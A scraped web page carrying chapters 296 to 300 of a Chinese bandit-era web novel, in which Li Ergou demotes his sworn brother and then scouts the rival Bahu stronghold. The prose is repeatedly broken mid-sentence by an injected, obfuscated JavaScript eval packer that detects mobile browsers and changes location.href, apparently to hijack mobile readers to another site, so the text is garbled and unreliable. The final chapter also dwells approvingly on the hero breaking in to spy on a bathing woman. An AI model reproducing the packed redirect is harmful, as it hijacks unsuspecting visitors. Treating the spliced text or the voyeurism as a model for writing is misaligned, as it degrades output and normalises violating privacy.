他努力克制着自己的情绪,揶揄道:“老三,你不是下山了吗?怎么还没走?等着我给你送行吗?” “狗哥,我错了,我说过,今生今世都会追随你鞍前马后,我是不会下山的!” “男子汉大丈夫,一言既出,驷马难追,你陈老三说话要是和放屁一样,我都瞧不起你!快点收拾东西下山吧,清风寨是座小庙,容不下你这尊大神。” 李二狗说完直接进了屋。 望冬正在低头抽泣,**拉着她的手在安慰她。 “二狗,你对老三未免太严厉了些,他对你没有贰心的!” “是啊,狗哥,老三对你绝无贰心。” 李二狗坐到椅子上,拿起茶杯轻轻呷了一口茶。 “我从来没有怀疑过他的忠心,但我对他的期望并不只是尽忠这么简单,这些年他不仅没有一点长进,还学会了狂妄自大、自我膨胀,如果不是下面有两个蛋坠着,他都要上天了!今天不给他一点教训,日后他还不反了天了?” 听到李二狗的粗话俚语,望冬破涕而笑,**也被他逗笑了。 “当着望冬的面你胡咧咧啥?告诉你一个好消息,望冬有了。” **脸上闪过一丝失落,望冬都有了,而自己却一直没有动静。 “有什么了?”李二狗一时没有反应过来。 “当然是怀孕了,你猪脑子啊!” 怪不得陈老三这么短的时间就来家中负荆请罪,原来是望冬怀孕了。 “望冬,恭喜你啊,要当娘了。” “这得感谢狗哥和素文姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049248|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的帮助,没有你们就没有我的今天。” “哈哈,这事你要感谢我,你素文姐和老三都饶不了我。” 两人一开始没明白李二狗话里的意思,等反应过来,**作势要拧他,望冬则羞红了脸。 “狗哥,你就原谅老三吧,他已经知道错了。” “望冬,我认识老三的时间比你长,我对他的了解也不比你少,同样我对他的感情也很深,我生气不是因为他当众顶撞我,而是他忘记了自己来时的路,骄娇二气一旦养成,害人害己。” “二狗,老三已经知道错了,我看这次你就原谅他吧,他也是七尺高的汉子,能这样低声下气跪在院子里,也需要很大的勇气。” “要不是望冬怀孕不肯跟他下山,他能来这里负荆请罪吗?” “二狗,都是自家兄弟,关键还有望冬的面子,你要不给老三一个台阶,他今天怎么收场?” 望冬突然跪在李二狗面前。 “狗哥,我替老三向你赔罪,你就原谅他吧。” 李二狗见状,急忙上前扶起望冬。 “你是有身孕的人,怎么能下跪呢?快起来,地上凉。” 望冬坚持跪在地上。 “狗哥,当初你和素文姐让我嫁给他,说实话,我内心是不情愿的。” **和李二狗尴尬地对视一眼,**扶住望冬,劝道:“望冬,你先起来再说。” 望冬执意跪在地上。 “狗哥,素文姐,我没有责怪你们的意思,我知道以我的条件,能嫁给老三这样的人,已经是我最好的归宿。” **被望冬的几句话感动了。 “望冬,你别这样说自己,先起来。” 望冬没有起身,徐徐说道:“自从嫁给他之后,他对我是真好,虽说也有这样那样的毛病,但人哪有十全十美的?他要是貌比潘安,才比子建,也不会娶我这样的女人对不对?” 李二狗果然没有看错望冬,把她嫁给陈老三,无论是对她自己还是对陈老三都是一个极好的安排。 第296章 去看寨门吧 “狗哥,现在我已经怀了他的孩子,嫁鸡随鸡,嫁狗随狗,他在哪我就在哪,他要下山,我只能随他而去,这是我的命,也是我肚子里孩子的命。” 话已至此,李二狗为了望冬,也不能再和陈老三置气。 “望冬,你起了吧,我原谅老三了。” “谢谢狗哥,谢谢狗哥。” **把望冬从地上扶起来。 望冬踱到门口,冲着陈老三喊道:“狗哥原谅你了,快进屋!” 听到让自己进去,陈老三赶紧从地上爬起来,跑到屋里。 “狗哥,我错了!” 陈老三再一次跪在地上,不管他有没有认识到自己的错误,但这种态度令李二狗十分满意。 李二狗不想令望冬尴尬,便说道:“老三,你起来说话。” “谢谢狗哥。”陈老三获得李二狗的谅解,激动不已。 “老三,你总说知道自己错了,那你告诉我,你错在哪里了?” 陈老**口而出:“我不该顶撞你,是我错了。” 李二狗被陈老三的憨劲气乐了。 “在你心里,我就是一个心胸狭隘的人是不是?我就是一个没有容人之量的人是不是?” 陈老三看李二狗生气的样子,心里直犯嘀咕:不就是因为我顶撞了你,你才生气的吗?难道还有别的原因? 望冬在一旁急得直跺脚。 “老三,你得从根上找毛病。” “根上?我根上哪有什么毛病?儿子这不都怀上了吗?” 望冬又气又急,恨不得冲上去咬他一口。 李二狗没想到陈老三竟是这么一块朽木。 虽说响鼓不用重锤,快马不用鞭催,面对陈老三这个憨货,李二狗只能把话说到明面上。 “老三,我问你,最近这段时间,我不在的山寨的时候,你是不是走路鼻孔朝天,谁都不放在眼里?” 陈老三恍然大悟。 “狗哥,我知道了,肯定是有**打我小报告。**,对我有意见,可以当面鼓对面锣的说清楚,背后嚼舌根子算什么英雄好汉!” 李二狗服了,他总算彻底认清了陈老三这个人。 自己要是把山寨大权交给这样的人,离寨毁人亡就不远了。 “老三,你不要胡嘞,没有人打你小报告,你自己什么表现心里没数吗?咱们山寨成立之初就建立了轮值制度,山寨日常事务由轮值经理负责,你凭什么以二当家自居?” 陈老三这才变得支支吾吾起来。 “狗哥,其实我……我并不是想当二当家,只是这清风寨是你一手建立起来的,你不在的时候我不得替你看好吗?谁让我是你最好的兄弟呢?” “什么叫替我看好?山寨是我个人的吗?山寨是大家伙的!山寨的运行依靠的是已经设定好的各项规章制度,你是我最好的兄弟不假,但你都带头破坏规矩,我还怎么去要求别人?” 陈老三不好意思地摸着头,脸红得像猴屁股。 “嘿嘿,狗哥,咱不是没文化吗?我记住你说的话了,下次一定不会了。” “动不动就以大老粗自居,以没文化为荣,我看不上这样的人。占着茅坑不拉屎,占着高位不胜任,到头来丢的不是你一个人的脸,丢的是我的脸,丢的是望冬和你孩子的脸,丢的是全寨兄弟的幸福生活!” 陈老三终于认识到了自己的错误,他没想到自己的行为会带来如此严重的后果。 “狗哥,我这次真认识到自己的错误了,你就处罚我吧,你怎么处罚我都心甘情愿地接受,只要你别把我赶下山。” “嘴上说认识到错误还不够,关键看你的行动。我刚在寨务会上免了你的职务,不可能立马给你恢复。前几天孔三愣被**,他的职位目前还空缺着,你就顶替他的位置去看寨门吧,你有意见吗?” 陈老三内心虽有一万个不愿意,但他此时也不敢提出来。 “狗哥,我愿意。” “回去吧,照顾好望冬。” 陈老三赶忙上前扶着望冬。 “狗哥,谢谢你,那我们走了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053013|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “走吧,回去多提醒一点老三。” 出了院子,陈老三忍不住抱怨道:“狗哥这是还没消气啊,竟然发配我去看寨门!这和我身份太不配了。” 望冬说道:“老三,我看狗哥的话你是一句都没听进去。” “我听进去了,可让我去看寨门,实在是太丢人了。” 望冬不急也不恼。 “你想想,你是狗哥最好的兄弟,你即使去打扫厕所,整个山寨谁敢不给你面子?不给你面子不就是不给狗哥面子吗?你记住一点,山寨只有有狗哥在,咱们就不会受委屈。” 陈老三顿时有一种茅塞顿开的感觉。 “望冬,想不到你一介女流,见识比我还高。” 望冬不以为然地说道:“你别瞧不起人,你现在只是一个看门的小头目,而我则是娘子军的副队长,你得听我的。” “嘿嘿,那是当然,我一直都听你的。” “老三,我告诉你,在清风寨,只要咱们抱紧狗哥的大腿,万事就不用愁,你以后可别再惹狗哥生气了。” “放心,我马上就要当爹了,我得给咱儿子做个榜样不是?!” “你怎么知道是儿子?我更喜欢女儿,女儿是娘的小棉袄。” 陈老三咧着嘴傻笑。 “不管是儿子还是女儿我都喜欢,以后你多给我生几个,有儿有女多好。” “哼,你把我当成老母猪了?只能在家给你生孩子?别忘了,我可是娘子军的副队长,女人不能没有自己的事业,这是素文姐说的。” 陈老三心里哼了一声,很不以为然。 **是因为生不了孩子才说以事业为重,相夫教子才是女人的归宿。 “二狗,你这次怎么发这么大的火?你就不怕老三真下山?” 李二狗冷“哼”一声。 “老三看着傻,其实心里鬼精鬼精的,他才不会离开山寨。” “哎,没想到望冬都有孩子了,二狗,我还想在努力一把。” **眼睛直勾勾地盯着李二狗,眼神荡漾。 第297章 深入霸虎寨 霸虎寨的事情一直萦绕在李二狗的心头,他此时可没有这个兴致。 “素文,我有要事要马上下山,等过段时间闲下来,咱俩再好好努努力。” **顿时变了脸,眼泪瞬间流了下来。 “哼,这么急着下山,是回去看你的宝贝女儿吗?” 李二狗知道,生不了孩子是**心里永远的痛。 面对她的诘问,李二狗只能紧紧抱住她,**挣扎着,他反而抱得更紧了。 “素文,不管咱们有没有孩子,我都会一生一世对你好。” **终究还是抵不住李二狗的攻势。 “二狗,你不许骗我!在这个世界上我只有你一个亲人,没有你我真得活不了。” 李二狗此时只感觉心力交瘁,他真想回到以前那个虽然食不果腹却无忧无虑的时候。 可如今一切都回不去了。 如果再让他选择一次,他依然会选择这条走过的路。 这是人性使然,也是他的命! 秀才独自一人骑马下了山,半路上正遇到李二狗,很显然是在等他。 “狗哥,你怎么在这里?” 李二狗神秘一笑:“我给你当跟班,陪你一起去霸虎寨。” 秀才一听,吓得脸都白了。 “狗哥,这可万万使不得,你怎么能冒险去霸虎寨呢?这实在是太危险了!我不同意!” 李二狗之所以要和秀才一起去霸虎寨,是因为他心里十分清楚,想靠动动嘴皮子就劝动黄飞虎放弃打家劫舍,希望非常渺茫,所以他想亲自去霸虎寨探探地形,为下一步行动提前做准备。 “秀才,放心吧,我只是一名跟随你的无名小卒,不会有什么危险的。” “狗哥,你确定要去吗?要不然我回山寨多叫几个弟兄一起?” “霸虎寨四百多号人,你多叫几个人能有什么区别?就咱俩吧,路上在商量商量对策。” 秀才知道,李二狗一旦决定的事情,谁也改变不了。 秀才玩笑道:“狗哥,到了霸虎寨,一旦劝解不成,他们要是把咱们打一顿,那可就丢大发了。” “其实你我心里都清楚,霸虎寨不会轻易听咱们的劝解,我看这次去,你先不要劝他们。” “那咱们还去霸虎寨干什么?” “你先假意和他们结盟,然后再试探一下他们的真实态度,一定要想办法让他们今晚把咱们留在山寨,我想趁此机会深入打探打探霸虎寨的地形。” 秀才瞬间明白了李二狗的意图。 “狗哥,你这是想吞并霸虎寨?” “既然劝不了那就消灭它,不能让他们在江东的地面上为非作歹。” “狗哥,我看你现在都快成江东警察局局长了。” “哈哈,秀才你说得对,老子就是警察局局长,在江东这个地面上,谁欺压百姓,老子就要灭了它。” 说话间,两人已经来到霸虎寨的地盘。 两人一直走到寨门,路上都没有遇到暗哨盘查,李二狗没想到霸虎寨竟如此张狂,连暗哨都懒得安排。 寨门口的土匪听到是清风寨的人来访,态度立刻变得恭敬了许多。 “你们先等一下,我马上去报告。” 不一会儿,一个瘦骨嶙峋的男子走了出来,看年纪大约五十岁左右,正是霸虎寨三当家**天。 “鄙人**天,不知清风寨的好汉到访,有失远迎,还望恕罪啊。请问好汉如何称呼啊?” 秀才拱手还礼,说道:“早就听闻雷当家的大名,今日得见,实乃三生有幸。鄙人清风寨秀才,今日贸然前来造访,如有打搅之处,还望闻当家的见谅。” “秀才当家的客气了,我们大当家的早就想去清风寨拜访,只是怕惊扰了各位当家的,快里面请。” 秀才跟着**天进入了霸虎寨。 李二狗一直在暗中观察着霸虎寨的地形。 不得不说,霸虎寨选择的地形确实是百里挑一,其险要的地势和狭窄的一线天入口,只要在寨门口架上两挺**,一个团的人都难以攻上来。 进入霸虎寨,里面又是另一番情形。 也许是因为建寨不久,再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053014|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加上短期内招纳大量人员,霸虎寨只在寨子中心位置建了三间大瓦房,房子正中写有三个大字:聚义堂。 其余全是一些低矮的小木屋,一排排堆砌在四周,显得极其杂乱。 寨子西侧院子里堆满了**而来的麦子,一个一个的麦跺几乎堆满了半个山寨。 在麦跺旁边有几块平整的空地,上面建了数个打麦场,有一群土匪赤裸着膀子正在打麦场上拉着石磙脱粒,一派繁忙的打麦景象。 **天有些不好意思地解释道:“最近收了一些麦子,也没有合适的打麦场,只能堆在这里,实在是有碍观瞻,让秀才当家的见笑了。” 秀才说道:“手里有粮才能心里不慌,我们实在是羡慕你们呐。” “秀才当家的太谦虚了,你们清风寨是江东第一寨,我们是真的羡慕你们才对。” “哈哈,雷当家的才是真得谦虚,我们清风寨都快断粮了,哪像你们这么富裕。” 人家山寨都是把没有的吹嘘成有的,以此来显示自己的山寨的强大,**天没想到秀才竟主动示弱。 也许这就是人家江东第一寨的底气! “哈哈,秀才当家的真会开玩笑,快请进。” 秀才转身对李二狗说道:“小狗子,你别跟着我进去了,留在这里学学人家霸虎寨的兄弟如何打场,说不定以后咱们也能用得上。” 李二狗恭敬地说道:“遵命!” **天带着秀才进了聚义堂,李二狗则在霸虎寨溜达起来。 见一个大汉赤着膀子停下来喝水,李二狗走过去搭讪。 “老哥,好把式啊,一看就是打麦的行家。” 汉子抬眼看了李二狗一眼,见他穿的人模狗样,并不像是山寨中人。 “这位兄弟看着眼生,新来的?” 李二狗随手从兜里掏出一盒烟,抽出一支递给汉子。 汉子见是好烟哈德门,赶忙接了过去,李二狗赶紧擦燃一支火柴给他点上,然后自己也点了一颗。 吞云吐雾间,两人的陌生感便消解了很多。 第298章 谁愿意做这种缺德的事情 “我是清风寨的,跟着我们当家的来拜访你们霸虎寨黄大当家的。” 一听清风寨,汉子的态度立马变得恭敬起来。 “你是清风寨的?怪不得穿得人五人六的,哪像我们和一群要饭的差不多。” “哈哈,老哥你可真会开玩笑,谁不知道你们霸虎寨兵强马壮,你们如今才是江东第一寨。” 汉子苦笑两声,脸上颇有几分愤懑。 “兵强马壮?呵呵,我们这些人能有口吃的就不错了,不像他们,整天大鱼大肉的嚯嚯。” 汉子口中的他们肯定是指霸虎寨几个当家的。 看来霸虎寨几个当家的对待手底下的人并不友好。 “老哥,看你们霸虎寨堆着这么多麦子,吃个几年都不成问题,我们是羡慕的不行啊。” “呵呵,你以为这些是给我们自己吃的吗?麦子价格那么贵,怎么舍得给我们吃?” 李二狗故意装出一副吃惊的样子。 “不给弟兄们吃给谁吃?咱们啸聚山林不就是为了能大口喝酒大口吃肉吗?” “他们那些当家的当然可以大口喝酒大口吃肉,我们这些小喽啰连汤都喝不上。” “不会吧?我还以为你们顿顿有酒喝,顿顿有白面馍馍吃呢。” 汉子欲言又止,显然对李二狗并不是完全信任。 “哎,算了,不说了,我去干活了。” 李二狗拉住汉子,又递上一支烟。 “老哥,别急啊,来,再抽根烟,我还有事情想向你打听打听呢。” 汉子接过烟,李二狗又划了根火柴给他点燃。 “还有什么事?快点说,让队长看到我偷懒又该挨骂了。” 李二狗看到不远处确实坐着一个穿绸缎衣服的男子,嘴里吆五喝六地指挥着光膀子的人拉磙脱粒。 “老哥,咱们去麦跺后面说。” 汉子也正想多偷会懒,便跟着他来到一个麦垛后面。 “兄弟,还有啥事你就说吧。” “老哥,实不相瞒,我们清风寨这两年是王小二过年,一年不如一年。我这想着投奔你们霸虎寨,吃香的喝辣的,刚才听你那么一说,心里又犯嘀咕,你说得可是真的?可别骗我啊。” “兄弟,听哥一句劝,你可千万别来,别看我们霸虎寨有这么多小麦,可这些小麦我们一粒也吃不到,他们早就联系好了买家,都是要卖掉的。” “啊!这也太过分了吧?这么多小麦,怎么也得给兄弟们留一点吧?” “留一点?哼,门都没有!我们现在每顿只给两个窝头,连根咸菜都没有,他们根本不把我们当人看。” 霸虎寨这样对待底下的人倒是很出乎李二狗的意料。 “我听说你们现在每天晚上都出去割麦子?” “哎,那也是没有办法的事,其实我们也不想这样,都是被他们逼得!” “他们?老哥,你都把我说糊涂了。” “兄弟,实不相瞒,这个霸虎寨看着人多,其实大多数人都是为了一口吃食才上的山,他们根本不把我们当兄弟看待,我们只不过是他们眼里的牲口罢了。” “我听说你们霸虎寨只有四个当家的,你们这么多人……” 汉子明白李二狗的意思,他左右看了看,然后低声说道:“霸虎寨只有四个当家的不假,但是还有二三十个当年跟着大当家在东北军当兵的人,他们个个凶神恶煞,手里都有家伙,一言不合就对我们拳打脚踢,大家也是敢怒不敢言。” 李二狗算是听明白了,霸虎寨虽然有四百多人,但是真正的土匪只有三十人左右。 “老哥,我觉得你们大当家的这样做可不对,同样是上山当土匪,怎么还能区别对待呢?” 汉子叹息一声:“哎,哪又有什么办法呢?遇到灾年,不上山只能眼睁睁饿死,其实我们也不想去抢地里的麦子,大家都乡里乡亲的,谁愿意做这种缺德的事情!” “老哥也是江东人?” “是啊,就在山下不远的靠山屯。” “家里没有地?” “早年租了几亩地,可地早就荒了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17056252|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去年秋天根本没有种子种下。” “我要是家里有地,我就不当这个窝囊的土匪,还是自己种地自己吃踏实。” “哎,谁说不是呢?现在只能走一步看一步了。” “割完麦子就可以种玉米了,老哥家里那几亩地不得种上吗?要不然秋天还是没有收成。” “我倒是想啊!可一旦上霸虎寨当了土匪,再想下山不干,那些人不会放过我们的。” “不干都不行?” “前两天有个人偷偷下了山,你猜怎么着?直接被他们下山灭了门,你说我们谁还敢下山?” “真没想到你们山寨当家的这样对待兄弟!” “哎,不说了,我得去干活了,不然待会让他们发现又该挨皮鞭了。” 话音未落,一个穿着黑色绸缎衣服的男子突然从麦垛后窜了出来。 “朱老四,你**又躲到这里偷奸耍滑。” 说话间,鞭子已经抽打到他身上。 朱老四蜷缩着身子,根本不敢反抗,嘴里求饶道:“八爷,八爷,别打了,我不敢了!” 李二狗突然伸手握住八爷的手腕。 八爷怒目而视,质问道:“你要干什么?你是谁?” 李二狗克制着自己的情绪,立马换上一副笑脸。 “八爷是吧?我是清风寨的,跟着我们当家的来拜访你们霸虎寨。” 八爷狐疑地盯着李二狗,质问道:“清风寨的?那你躲到这里来做什么?” 李二狗松开手,笑容可掬。 “我们当家的刚才和雷当家的一起进了聚义堂,他看你们这边打麦场很热闹,就吩咐我来学习学习,所以我就拉着这个老哥请教了几句,没想到连累他,还请八爷高抬贵手,不要责罚他。” 八爷刚才的确看到**天陪着一个人进了聚义堂,清风寨的面子他不得不给。 “既然清风寨的朋友说话了,那我就饶了他,老四,还不快去干活,再敢偷懒绝不轻饶。” 朱老四嘴上答应着,赶忙连滚带爬地跑回打麦场。 第299章 茅草屋的秘密 对于八爷这种惯于在底层兄弟面前嚣张跋扈的土匪,李二狗自然有一番对付的心得。 对付这样的人,态度一定不能恭敬,这种人一向畏威不畏德。 你对他们态度越是恭敬,他们反而越是不把你当回事。 你如果对他爱搭不理,他反而心里没底,不知道该如何面对你。 李二狗从兜里掏出两根烟,面无表情地问道:“八爷,要不要来一根?” 八爷本来不打算接,但看到李二狗递过来的烟竟是哈德门,比自己兜里的烟要好得多,便愉快地接受了。 清风寨毕竟是清风寨,连一个小喽啰都抽哈德门!简直是没有天理! 李二狗把自己嘴里的烟点着,然后才把火柴扔给八爷。 八爷不气也不恼,接过李二狗扔过来的火柴盒,从里面抽出一根火柴点燃了自己嘴里的香烟。 他用力地吸了一口,然后徐徐地吐出烟雾,表情陶醉,味道确实比自己抽得老烟叶强许多。 吐纳之间自然对李二狗客气了很多。 “兄弟在清风寨是做什么的?” 李二狗态度依然不卑不亢。 “我小卒子一个,在清风寨负责给几个当家的端茶倒水,可不像八爷这般威风,手底下管着这么多人。” 能在山寨几个当家的身边伺候,那都是心腹之人,八爷对李二狗的态度立马转变了许多,脸上终于有了笑模样。 “那兄弟是领导身边的人,一定前途无量啊,失敬失敬。” “八爷过奖了,我怎么敢和您比!如今霸虎寨在江东的名号是越来越响,我们大当家的都想和你们交好。” “天下土匪本来就是一家嘛,你们清风寨的名号在江东那可是蝎子尾巴——独一份,谁不羡慕?不知兄弟如何称呼啊?” “鄙人李三狗,以后还请八爷过过关照。” 八爷一听,吃了一惊。 “李三狗?我听说胡家大院有个管家就叫李二狗,不知道你们之间是不是?” “我和他可是八竿子打不着的关键!当初第一次听到李二狗这个名字,气得我当即就想改名,生生把老子弄得矮他一头,你说我和谁讲理去?” “哈哈,三狗兄弟,你这名字可比二狗威风多了,还是三狗好,响亮!” “哈哈,八爷客气了,说的我都有些不好意思了。” 李二狗从兜里掏出一盒尚未开封的哈德门,塞到八爷手里。 “八爷,一点小意思,你留着抽。” 八爷笑得合不拢嘴,心想,还是清风寨的人会来事,怪不得人家是江东第一山寨,在霸虎寨就没有人给自己送烟。 这就是差距,不服不行! “这怎么好意思啊,让三狗兄弟破费了。” “八爷刚才不说了嘛,天下土匪是一家,千万不要这么客气,说不定以后咱们清风寨和霸虎寨就是一家人了。” “哈哈,那我就不客气了。” 李二狗通过这两年在社会上的摸爬滚打,已经悟到这种小恩小惠对底层人有着不可估量的作用。 “八爷,我们当家的吩咐我要向你们好好学习,你看我能不能在山寨里转一转?” “大家都是一家人,随便看,要不要我带你转一转?” “那怎么好意思麻烦八爷呢,我自己随便转转就行,八爷你忙你的。” “那好,三狗兄弟,有什么事随时叫我。” 两人分开之后,李二狗围着霸虎寨转了一圈,把山寨布局和主要建筑全部记在心里,不知不觉天色已经黯淡下来。 霸虎寨后山和清风寨一样,也是三面悬崖峭壁,山下的人根本上不来,只能通过寨前一条路上山。 但与清风寨不同的是,霸虎寨整个寨子成长方形,南北狭窄,东西宽长,从寨门口走到后山,差不多有两千米的距离。 不过霸虎寨刚刚建寨不久,房屋建筑主要集中在寨门口附近,后山并没有什么明显建筑,显得十分荒凉。 李二狗站在后山上俯瞰了一会儿,巍巍转经山,周围山高林密,此地确实是一块风水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17056253|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宝地,清风寨与之相比都要相形见绌,李二狗已经下定决心要拿下霸虎寨。 眼看天色已晚,李二狗怕秀才等着急了,便沿着原路返回。 刚走了一会儿,便看到有一个岔路口,刚才上山的时候竟然没有注意到。 路口旁竖着一块牌子,上面写着:擅入者格杀勿论! 李二狗伸长脖子往前看了看,并没有看到什么建筑。 如此荒凉的一条小路为何会成为霸虎寨的禁地? 这激起了李二狗强烈的好奇心,难道里面藏有粮食或者**库? 想到这,李二狗便悄悄沿着这条小路往前走,除了路两侧的树林里偶尔传来的鸟鸣虫叫声,并没有任何异常。 李二狗怀着忐忑的心向前走了大约一百米,突然出现一个九十度的大拐角,过了拐角,又是一番天地。 路两旁有一大片蜀葵映入眼帘,红的、白的、粉的,各色花儿盛开,美不胜收。 麦收时节,蜀葵花开。 没想到在霸虎寨竟还有如此有情调的人,李二狗第一时间想到了慕容雪,霸虎寨四当家。 再往前看,不远处建有两间茅草屋。 李二狗回头看了看,发现并没有人跟来,他便大着胆子继续往前走。 很快就来到茅草屋前,门口同样挂着一个竟是木牌:擅入者死! 这更加激起了李二狗的好奇心,一个茅草屋难道藏有大量的金银珠宝?竟如此这般神秘。 这座茅草屋沿着一处山体而建,李二狗沿着茅房屋旁边的斜坡爬上去,屋后并没有院子,而是和山体融为一体。 李二狗爬到屋顶上,里面的情形完全看不到。 李二狗从山坡上爬下来,再次回到茅草屋前,轻轻推了一下,发现房门紧闭,他趴在门缝里往里瞅了瞅,里面黑漆漆一片,什么也看不见。 他又趴在门缝上仔细听了一会儿,里面好像有潺潺流水的声音。 茅草屋内怎么会有潺潺流水的声音?这更加激起了李二狗的好奇心。 第300章 慕容雪 想到这,李二狗掏出随身携带的一把**,轻轻地插入门缝,慢慢地拨动了几下门栓,然后悄悄地推开房门,便闪身进了屋。 李二狗屏住呼吸,赶紧把房门从里面关好。 屋内漆黑一片,他刚想掏出火柴,便看到屋后竟然还有一扇房门,并有些许光亮透进来。 他再次深吸一口气,蹑手蹑脚地来到后门处,俯身从门缝往里看去,顿时心跳加速,血脉偾张。 房门外面竟是一处山洞,洞内雾气缭绕,中间有一口温泉,温泉水缓缓流淌着,泉池旁的椅子上坐着一位绝色美女,身上只披着一条毛巾。 蒸腾的热气裹着淡淡的硫磺香在温泉池畔弥漫。 温泉池水汽氤氲,暖融融的油灯光线漫过漾着细碎波纹的水面。 她毫无征兆地起身,毛巾轻轻地在她身体上滑落,然后缓步踏入池中,温热的泉水缓缓漫过她的肩头,凝脂般的肌肤在朦胧雾气里泛着莹润的柔光。 一头墨色青丝如瀑布般散开,几缕湿发贴在颈侧,更衬得她颈间线条细腻胜雪。 她抬手拂开额前的几缕碎发,指尖划过脸颊时,眉眼间浸着温泉里的慵懒,眼波似含着池底漾开的春水。 水面漂浮的几片玫瑰花瓣沾在她的肩头,随着水波轻轻晃动,她微仰着头,任由泉水漫过锁骨,整个人如雾中初绽的芙蓉,美得静谧又透着难言的柔媚。 李二狗目不转睛地盯着温泉池里的那片雪白肌肤,喉咙滚动,狂咽口水。 女人并没有发现有人偷窥,她闭着眼,尽情享受着温热泉水浸透肌肤带来的舒适感。 她在泉水中轻摆玉臂,每一次泉水滴落的声音都令李二狗心神荡漾。 李二狗贪婪的目光一直盯在水面上,他盼望着女人此刻能从温泉池中站起来,李二狗能想象到那种美人出浴的景象,足以摄人心魄。 正当李二狗屏气凝神,期待春色满园之时,门外突然传来一阵不合时宜的敲门声。 李二狗吓得全身一哆嗦。 一个女声在门外说道:“慕容姐,大当家的让你现在去一趟聚义堂。” 原来在温泉中沐浴的女子正是霸虎寨四当家慕容雪。 要么说李二狗艺高人胆大,他知道慕容雪要是从山洞来开门,必然会从温泉池中站立起来,所以他根本没有动,目光依然透过门缝紧紧地盯着那个即将出浴的女人。 和李二狗预料的一样,慕容雪听到声音,便从容不迫地从温泉池里站了起来。 丰容盛鬋的身材令李二狗大饱眼福。 真是双峰耸立云深处,一水环绕月明前。 她一边拿起毛巾披在身上,一边说道:“你先等一下。” 那轻柔妩媚的声音传到李二狗的耳朵里,仿佛像千万只虫子钻进李二狗的身体里,他感到全身由内到外的痒。 此刻,他真想脱光衣服到温泉池中畅游一番。 慕容雪披着毛巾向李二狗款款走来。 此时李二狗的眼睛已经完全适应了屋内黑暗的环境,他看到旁边有一张木床,便俯身钻到了木床底下。 慕容雪推开后门,进**内,李二狗立即嗅到一股淡淡的玫瑰花香的气味,气味中掺杂着年轻少女独有的体香,沁人心脾。 她走到桌前,拿起一盒火柴,从中抽出一根轻轻地擦燃,然后点燃了室内的一盏煤油灯。 慕容雪走到床前,从床上拿起一件衣服,从容不迫地地穿在身上,然后才去打开房门,一个女人走了进来。 “慕容姐,大当家的让你现在去一趟聚义堂。” “大当家的什么事?” “清风寨来了一位当家的,商谈和咱们霸虎寨结盟的事,大当家的安排了宴席,请你现在过去一起吃饭。” “你回去告诉大当家的,就说我身体不舒服,真是懒得和那些臭男人周旋。” “慕容姐,清风寨是江东最大的山寨,大当家的很重视他们,你还是去一趟吧,不然大当家的会生气的。” “哼,难道我会怕他生气吗?你去替我回了吧。” “慕容姐,可……” “好了,别说了,你就说我身体不舒服,他不会怎么样的。你去吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 